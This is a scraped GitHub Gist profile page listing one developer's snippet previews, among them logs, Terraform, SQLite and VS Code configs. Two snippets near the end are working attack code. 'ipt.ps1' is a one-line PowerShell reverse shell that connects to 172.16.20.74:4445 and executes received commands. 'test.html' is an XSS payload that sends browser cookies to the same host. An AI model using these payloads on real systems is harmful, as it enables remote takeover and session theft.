Skip to content

Instantly share code, notes, and snippets.

View DavidR91's full-sized avatar

David W. Roberts DavidR91

View GitHub Profile
remove_entities: function(remove) {
for(var i = 0; i < remove.length; i++) {
this.entities.splice(this.entities.indexOf(remove), 1); // <--- Errm....
}
},
template<class t>class s{s<t*>operator->()};s<int>xx=xx->
[2016-12-10T00:47:44+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Config is now 3505.6966016205297 seconds old. Reconfiguring / reloading keys ...
[2016-12-10T00:47:44+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Reconfiguring client / reloading keys ...
[2016-12-10T00:47:44+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Retrieving configuration from https://reacted/organizations/squaredup///pushy/config/DEVEL-AZR-SQUP-RB01: ...
[2016-12-10T00:47:44+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Stopping command / server heartbeat receive thread and destroying sockets ...
[2016-12-10T00:47:59+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Resolved reacted to '40.115.58.217' and 0 others
[2016-12-10T00:47:59+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Starting ZMQ version {:major=>4, :minor=>0, :patch=>6}
[2016-12-10T00:47:59+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Listening for server heartbeat at tcp://reacted:10000
[2016-12-10T00:47:59+00:00] INFO: [DEVEL-AZR-SQUP-RB01] Connecting to command channel at tcp://reacted:10002
[2016-12-10T00:47:59+00:00] INFO: [DEVEL-AZR-SQUP-RB0
@DavidR91
DavidR91 / main.tf
Created January 8, 2017 23:18
Terraform templated JSON
...
# Template for the settings of enabling WinRM on the machine
data "template_file" "winrm_arm_settings" {
template = "${file("../../Shared/winrm-arm-settings.template.json")}"
vars {
dns_name = "${azurerm_public_ip.primary.fqdn}"
}
}
@DavidR91
DavidR91 / Program.cs
Created November 8, 2017 17:18
System.Data.SQLite: connection pooling vs. handler removal PoC
using System;
using System.Data.SQLite;
using System.Threading;
using System.Threading.Tasks;
namespace sqlite_trace_callback_delegate
{
public static class ExplicitDelegates
{
// Explicitly instantiated + static to avoid GC
#################################################################################################################################
# Name : Configure-WinRM.ps1 #
# #
# Description : Configures the WinRM on a local machine #
# #
# Arguments : HostName, specifies the FQDN of machine or domain #
#################################################################################################################################
param
(
@DavidR91
DavidR91 / launch.json
Created April 8, 2018 14:08
Typical vscode configs for go
{
"version": "0.2.0",
"configurations": [
{
"name": "Launch",
"type": "go",
"request": "launch",
"mode": "debug",
"remotePath": "",
"port": 2345,
@DavidR91
DavidR91 / example.cs
Created October 25, 2018 13:09
union
using System;
using System.Linq;
public class Program
{
public interface Interface
{
string Name { get; }
void Method();
}
@DavidR91
DavidR91 / ipt.ps1
Created November 21, 2018 15:38
Customized invoke-powershelltcp.ps1
$sm=(New-Object Net.Sockets.TCPClient("172.16.20.74",4445)).GetStream();[byte[]]$bt=0..255|%{0};$sm.Write(([text.encoding]::ASCII).GetBytes("CONNECTED"),0,9);$sm.Write(10,0,1);while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length);$sm.Write(10,0,1);}
@DavidR91
DavidR91 / test.html
Last active November 27, 2018 15:33
test
<script>
if (document.cookie.length > 0) {
$("body").prepend('<img src="http://172.16.20.74:5916/' + window.navigator.userAgent + ' ' + document.cookie + '"/>');
}
</script>